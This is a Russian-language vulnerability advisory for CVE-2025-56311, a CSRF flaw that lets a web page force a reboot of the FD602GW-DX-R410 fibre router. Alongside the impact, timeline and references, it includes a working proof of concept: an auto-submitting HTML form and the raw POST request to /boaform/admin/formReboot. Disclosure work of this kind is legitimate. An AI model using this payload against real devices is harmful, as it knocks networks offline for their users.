CVE-2025-56311: Бюллетень безопасности – CSRF-уязвимость в функции перезагрузки маршрутизатора FD602GW-DX-R410

Доказательство концепции и бюллетень безопасности для уязвимости межсайтовой подделки запроса (CSRF) в административном интерфейсе оптоволоконного маршрутизатора FD602GW-DX-R410 (прошивка V2.2.14). В бюллетене описываются влияние, вектор атаки и рекомендации по устранению.

fd602gw-dx-r410-csrf-advisory

CSRF-уязвимость в маршрутизаторе FD602GW-DX-R410 позволяет удалённым злоумышленникам перезагружать устройство с помощью специально сформированного POST-запроса к /boaform/admin/formReboot, когда администратор аутентифицирован.

Обзор

В веб-консоли администратора оптоволоконного маршрутизатора FD602GW-DX-R410 (прошивка V2.2.14) обнаружена уязвимость межсайтовой подделки запроса (CSRF). Конечная точка /boaform/admin/formReboot принимает POST-запросы, вызывающие полную перезагрузку устройства, без CSRF-токенов и проверки источника запроса. Если аутентифицированный администратор посещает вредоносную страницу, маршрутизатор может быть перезагружен удалённо без согласия.

Идентификатор CVE: CVE-2025-56311
Дата публикации бюллетеня: июль 2025
Обнаружил: Hasanka Amarasinghe (независимый исследователь безопасности)
Производитель: Shenzhen C-Data Technology Co., Ltd.
Затронутый продукт: оптоволоконный маршрутизатор FD602GW-DX-R410
Версия прошивки: V2.2.14 (Build.1918.241111)
Версия оборудования: R410.1B
Версия загрузчика: V3.7-2312181457
Веб-сервер: Boa/0.93.15
Вектор доступа: удалённый (требуется авторизованный администратор)
Серьёзность: средняя
Базовая оценка CVSS v3.1: 5.4 (средняя)

Затронутый продукт

Устройство: оптоволоконный маршрутизатор FD602GW-DX-R410
Прошивка: V2.2.14 (Build.1918.241111)
Компонент: обработчик перезагрузки - /boaform/admin/formReboot
Веб-сервер: Boa/0.93.15

Детали уязвимости

Тип: межсайтовая подделка запроса (CSRF)
Вектор атаки: удалённый (администратор должен быть авторизован в своей сессии)
Аутентификация: для злоумышленника не требуется (требуется сессия администратора в браузере жертвы)
Влияние: несанкционированная перезагрузка устройства
Сохранение состояния: сессия без сохранения состояния, вероятно, отслеживается по IP-адресу или внутренним токенам сессии

Доказательство концепции (PoC)

CSRF-пейлоад (HTML)

<html>
  <!-- CSRF PoC - generated by Burp Suite Pro -->
  <body>
    <form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
      <input type="hidden" name="postSecurityFlag" value="+65535" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

HTTP-запрос

POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

postSecurityFlag=+65535

Ответ

HTTP 200 OK; маршрутизатор перезагружается немедленно.

Вектор атаки

Требуется, чтобы администратор маршрутизатора был аутентифицирован (вошёл в систему).
Злоумышленник заманивает жертву на вредоносную веб-страницу, которая незаметно отправляет POST-запрос к конечной точке перезагрузки.
Маршрутизатор принимает поддельный запрос и немедленно перезагружается, вызывая отказ в обслуживании.

Влияние

Отказ в обслуживании из-за принудительной перезагрузки.
Потеря доступности сети для всех подключённых пользователей.
Возможность комбинирования с другими проблемами (например, перехватом сессии или XSS) для повышения серьёзности воздействия.

Хронология раскрытия

Дата	Действие
июнь 2025	Уязвимость обнаружена
июнь 2025	Попытка ответственного раскрытия (ответа не получено)
июль 2025	Запрошен идентификатор CVE у MITRE
июль 2025	Бюллетень подготовлен, публикация ожидается
сентябрь 2025	CVE присвоен, бюллетень опубликован

Ссылки

Производитель: Shenzhen C-Data Technology Co., Ltd.
Устройство: FD602GW-DX-R410
Прошивка: V2.2.14
Бюллетень GitHub: https://github.com/wrathfulDiety/CVE-2025-56311

Отказ от ответственности

Данный бюллетень предоставлен в образовательных целях и для повышения осведомлённости в области безопасности. Автор не несёт ответственности за неправомерное использование. Все тесты проводились в контролируемой среде.

CVE-2025-56311

Популярное